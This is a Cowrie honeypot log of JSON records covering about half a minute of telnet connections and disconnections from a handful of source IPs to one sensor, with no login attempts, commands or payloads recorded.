{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":34012,"dst_ip":"10.17.0.5","dst_port":23,"session":"610fd77e81cc","protocol":"telnet","message":"New connection: 164.68.122.45:34012 (10.17.0.5:23) [session: 610fd77e81cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:31.184785Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":48612,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb15da31a710","protocol":"telnet","message":"New connection: 199.231.212.75:48612 (10.17.0.5:23) [session: cb15da31a710]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:31.433193Z"}
{"eventid":"cowrie.session.closed","duration":31.10653591156006,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:31.467097Z","src_ip":"199.231.212.75","session":"1945d5be6c87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":48618,"dst_ip":"10.17.0.5","dst_port":23,"session":"957d61f76151","protocol":"telnet","message":"New connection: 199.231.212.75:48618 (10.17.0.5:23) [session: 957d61f76151]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:32.061548Z"}
{"eventid":"cowrie.session.closed","duration":31.354926824569702,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:32.740083Z","src_ip":"164.68.122.45","session":"36668d771060","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":48628,"dst_ip":"10.17.0.5","dst_port":23,"session":"13a5b4ffc892","protocol":"telnet","message":"New connection: 199.231.212.75:48628 (10.17.0.5:23) [session: 13a5b4ffc892]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:33.031223Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":34028,"dst_ip":"10.17.0.5","dst_port":23,"session":"497bffa0a9ca","protocol":"telnet","message":"New connection: 164.68.122.45:34028 (10.17.0.5:23) [session: 497bffa0a9ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:33.444387Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":34032,"dst_ip":"10.17.0.5","dst_port":23,"session":"7479c0be2f5f","protocol":"telnet","message":"New connection: 164.68.122.45:34032 (10.17.0.5:23) [session: 7479c0be2f5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:34.679313Z"}
{"eventid":"cowrie.session.closed","duration":30.86342716217041,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:35.704043Z","src_ip":"164.68.122.45","session":"ab2a8306b0a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.67244553565979,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:37.086580Z","src_ip":"164.68.122.45","session":"5b5b1f1ca0c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":34048,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c8029befdea","protocol":"telnet","message":"New connection: 164.68.122.45:34048 (10.17.0.5:23) [session: 4c8029befdea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:37.910172Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":48640,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e552f0bbc51","protocol":"telnet","message":"New connection: 199.231.212.75:48640 (10.17.0.5:23) [session: 3e552f0bbc51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:38.560766Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":48648,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb8084e0a1c0","protocol":"telnet","message":"New connection: 199.231.212.75:48648 (10.17.0.5:23) [session: bb8084e0a1c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:38.607471Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":34064,"dst_ip":"10.17.0.5","dst_port":23,"session":"7de3a39cedc7","protocol":"telnet","message":"New connection: 164.68.122.45:34064 (10.17.0.5:23) [session: 7de3a39cedc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:38.726271Z"}
{"eventid":"cowrie.session.closed","duration":31.0835702419281,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:39.160778Z","src_ip":"199.231.212.75","session":"dca2b0102249","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.22697901725769,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:39.244573Z","src_ip":"164.68.122.45","session":"d221d894b59a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":48664,"dst_ip":"10.17.0.5","dst_port":23,"session":"939850482dc6","protocol":"telnet","message":"New connection: 199.231.212.75:48664 (10.17.0.5:23) [session: 939850482dc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:39.575023Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":48674,"dst_ip":"10.17.0.5","dst_port":23,"session":"b84676a1c7ea","protocol":"telnet","message":"New connection: 199.231.212.75:48674 (10.17.0.5:23) [session: b84676a1c7ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:39.842337Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":51894,"dst_ip":"10.17.0.5","dst_port":23,"session":"f35820f42cd0","protocol":"telnet","message":"New connection: 164.68.122.45:51894 (10.17.0.5:23) [session: f35820f42cd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:40.039091Z"}
{"eventid":"cowrie.session.closed","duration":31.17056441307068,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:40.400586Z","src_ip":"199.231.212.75","session":"b8218b37caab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.854731559753418,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:40.503422Z","src_ip":"199.231.212.75","session":"6a0af216fc53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":51908,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f4b424902e1","protocol":"telnet","message":"New connection: 164.68.122.45:51908 (10.17.0.5:23) [session: 1f4b424902e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:41.002411Z"}
{"eventid":"cowrie.session.closed","duration":31.10825800895691,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:41.075264Z","src_ip":"86.120.107.100","session":"cfbf2c125565","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.260753393173218,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:41.114612Z","src_ip":"199.231.212.75","session":"367c9de0a05c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.964112043380737,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:41.190828Z","src_ip":"164.68.122.45","session":"ebc5ecdbbe4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":51922,"dst_ip":"10.17.0.5","dst_port":23,"session":"1249fcb7d6bf","protocol":"telnet","message":"New connection: 164.68.122.45:51922 (10.17.0.5:23) [session: 1249fcb7d6bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:41.202558Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":43378,"dst_ip":"10.17.0.5","dst_port":23,"session":"b915f41f1dc7","protocol":"telnet","message":"New connection: 199.231.212.75:43378 (10.17.0.5:23) [session: b915f41f1dc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:41.608213Z"}
{"eventid":"cowrie.session.closed","duration":30.3010675907135,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:42.197444Z","src_ip":"199.231.212.75","session":"059a82595f46","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":51928,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b43b38539f5","protocol":"telnet","message":"New connection: 164.68.122.45:51928 (10.17.0.5:23) [session: 3b43b38539f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:42.385459Z"}
{"eventid":"cowrie.session.closed","duration":30.88203740119934,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:42.532549Z","src_ip":"199.231.212.75","session":"7f12918cce19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.058123350143433,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:42.741483Z","src_ip":"199.231.212.75","session":"1c17144ce5c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":51936,"dst_ip":"10.17.0.5","dst_port":23,"session":"304775b3b4c1","protocol":"telnet","message":"New connection: 164.68.122.45:51936 (10.17.0.5:23) [session: 304775b3b4c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:42.808485Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":43392,"dst_ip":"10.17.0.5","dst_port":23,"session":"81c6df3c6a85","protocol":"telnet","message":"New connection: 199.231.212.75:43392 (10.17.0.5:23) [session: 81c6df3c6a85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:43.317194Z"}
{"eventid":"cowrie.session.closed","duration":30.119902849197388,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:44.099099Z","src_ip":"199.231.212.75","session":"afcd1466d2e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.002713203430176,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:44.143855Z","src_ip":"199.231.212.75","session":"886b51b3c586","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.294179677963257,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:45.087103Z","src_ip":"199.231.212.75","session":"5d6c82c521b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82298469543457,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:45.282311Z","src_ip":"199.231.212.75","session":"43a6a5033d39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":51948,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0e7b12be43e","protocol":"telnet","message":"New connection: 164.68.122.45:51948 (10.17.0.5:23) [session: a0e7b12be43e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:45.758214Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":43394,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3a4f5312ff0","protocol":"telnet","message":"New connection: 199.231.212.75:43394 (10.17.0.5:23) [session: f3a4f5312ff0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:46.135076Z"}
{"eventid":"cowrie.session.closed","duration":31.10373592376709,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:46.204443Z","src_ip":"199.231.212.75","session":"7507c6e01a02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.671844959259033,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:46.388489Z","src_ip":"164.68.122.45","session":"2bbca3dfb168","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.57296395301819,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:47.425698Z","src_ip":"164.68.122.45","session":"fd7e93c9968f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.33563804626465,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:48.103761Z","src_ip":"164.68.122.45","session":"cf8d1c40fb83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":51958,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac31e8f27d25","protocol":"telnet","message":"New connection: 164.68.122.45:51958 (10.17.0.5:23) [session: ac31e8f27d25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:48.109973Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":51970,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7ccc027a1a6","protocol":"telnet","message":"New connection: 164.68.122.45:51970 (10.17.0.5:23) [session: d7ccc027a1a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:48.522509Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":51980,"dst_ip":"10.17.0.5","dst_port":23,"session":"952726fbcad0","protocol":"telnet","message":"New connection: 164.68.122.45:51980 (10.17.0.5:23) [session: 952726fbcad0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:48.670098Z"}
{"eventid":"cowrie.session.closed","duration":31.167778491973877,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:49.210657Z","src_ip":"164.68.122.45","session":"90db78f49252","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.529672384262085,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:49.364611Z","src_ip":"164.68.122.45","session":"ea709693df2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":43398,"dst_ip":"10.17.0.5","dst_port":23,"session":"951c98f46e25","protocol":"telnet","message":"New connection: 199.231.212.75:43398 (10.17.0.5:23) [session: 951c98f46e25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:49.382972Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":43406,"dst_ip":"10.17.0.5","dst_port":23,"session":"c510da5a3c95","protocol":"telnet","message":"New connection: 199.231.212.75:43406 (10.17.0.5:23) [session: c510da5a3c95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:49.618618Z"}
{"eventid":"cowrie.session.closed","duration":31.118452548980713,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:50.144915Z","src_ip":"164.68.122.45","session":"769c7d8c616a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.150909185409546,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:50.505002Z","src_ip":"199.231.212.75","session":"c89f11bcebf9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.168546199798584,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:50.550944Z","src_ip":"199.231.212.75","session":"c3606e401aa3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":58474,"dst_ip":"10.17.0.5","dst_port":23,"session":"53abcc5a4fc6","protocol":"telnet","message":"New connection: 164.68.122.45:58474 (10.17.0.5:23) [session: 53abcc5a4fc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:50.627104Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":58484,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ab0491cb140","protocol":"telnet","message":"New connection: 164.68.122.45:58484 (10.17.0.5:23) [session: 4ab0491cb140]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:50.849323Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":58486,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4335c085123","protocol":"telnet","message":"New connection: 164.68.122.45:58486 (10.17.0.5:23) [session: d4335c085123]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:50.878009Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":58492,"dst_ip":"10.17.0.5","dst_port":23,"session":"605b124278f1","protocol":"telnet","message":"New connection: 164.68.122.45:58492 (10.17.0.5:23) [session: 605b124278f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:51.529032Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":58498,"dst_ip":"10.17.0.5","dst_port":23,"session":"a50761c21614","protocol":"telnet","message":"New connection: 164.68.122.45:58498 (10.17.0.5:23) [session: a50761c21614]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:51.566838Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":58504,"dst_ip":"10.17.0.5","dst_port":23,"session":"504dbb1978f9","protocol":"telnet","message":"New connection: 164.68.122.45:58504 (10.17.0.5:23) [session: 504dbb1978f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:51.763285Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":58514,"dst_ip":"10.17.0.5","dst_port":23,"session":"46a07dec2b4d","protocol":"telnet","message":"New connection: 164.68.122.45:58514 (10.17.0.5:23) [session: 46a07dec2b4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:51.992459Z"}
{"eventid":"cowrie.session.closed","duration":30.320480585098267,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:52.237593Z","src_ip":"164.68.122.45","session":"a6f8e9a0ee54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":38560,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf8f091af363","protocol":"telnet","message":"New connection: 199.231.212.75:38560 (10.17.0.5:23) [session: cf8f091af363]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:52.823329Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":58530,"dst_ip":"10.17.0.5","dst_port":23,"session":"e83716632e0a","protocol":"telnet","message":"New connection: 164.68.122.45:58530 (10.17.0.5:23) [session: e83716632e0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:52.843909Z"}
{"eventid":"cowrie.session.closed","duration":30.958833932876587,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:53.563048Z","src_ip":"199.231.212.75","session":"f1a3c5c2f6c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":58534,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd3dd031e60e","protocol":"telnet","message":"New connection: 164.68.122.45:58534 (10.17.0.5:23) [session: dd3dd031e60e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:53.689753Z"}
{"eventid":"cowrie.session.closed","duration":31.203916788101196,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:53.718968Z","src_ip":"164.68.122.45","session":"4d526bc4e650","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":58542,"dst_ip":"10.17.0.5","dst_port":23,"session":"798411cd4816","protocol":"telnet","message":"New connection: 164.68.122.45:58542 (10.17.0.5:23) [session: 798411cd4816]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:54.780372Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":58550,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4af10fec5a4","protocol":"telnet","message":"New connection: 164.68.122.45:58550 (10.17.0.5:23) [session: e4af10fec5a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:55.914765Z"}
{"eventid":"cowrie.session.closed","duration":30.347666025161743,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:56.047146Z","src_ip":"164.68.122.45","session":"9e6733471713","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.011329174041748,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:57.197767Z","src_ip":"199.231.212.75","session":"43d460f7a181","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":38572,"dst_ip":"10.17.0.5","dst_port":23,"session":"81a0bfc1de6a","protocol":"telnet","message":"New connection: 199.231.212.75:38572 (10.17.0.5:23) [session: 81a0bfc1de6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:57.367135Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":38580,"dst_ip":"10.17.0.5","dst_port":23,"session":"7690e04b1f9c","protocol":"telnet","message":"New connection: 199.231.212.75:38580 (10.17.0.5:23) [session: 7690e04b1f9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:57.444037Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":38592,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba5dff89b344","protocol":"telnet","message":"New connection: 199.231.212.75:38592 (10.17.0.5:23) [session: ba5dff89b344]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:57.808340Z"}
{"eventid":"cowrie.session.connect","src_ip":"84.54.71.151","src_port":22372,"dst_ip":"10.17.0.5","dst_port":23,"session":"00f7281daa1c","protocol":"telnet","message":"New connection: 84.54.71.151:22372 (10.17.0.5:23) [session: 00f7281daa1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:58.361773Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":58562,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b68c552682b","protocol":"telnet","message":"New connection: 164.68.122.45:58562 (10.17.0.5:23) [session: 4b68c552682b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:58.539510Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":58574,"dst_ip":"10.17.0.5","dst_port":23,"session":"b91c81c31551","protocol":"telnet","message":"New connection: 164.68.122.45:58574 (10.17.0.5:23) [session: b91c81c31551]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:58.730184Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":58584,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf692eea5401","protocol":"telnet","message":"New connection: 164.68.122.45:58584 (10.17.0.5:23) [session: bf692eea5401]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:58.773719Z"}
{"eventid":"cowrie.session.closed","duration":31.390339612960815,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:58.794423Z","src_ip":"199.231.212.75","session":"5e4a1145a467","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.69506812095642,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:58.806928Z","src_ip":"164.68.122.45","session":"b0a1bfbad613","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.75763177871704,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:58.980233Z","src_ip":"164.68.122.45","session":"104b0082e148","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.963217735290527,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:31:59.333369Z","src_ip":"199.231.212.75","session":"a37f795e2a48","protocol":"telnet"}
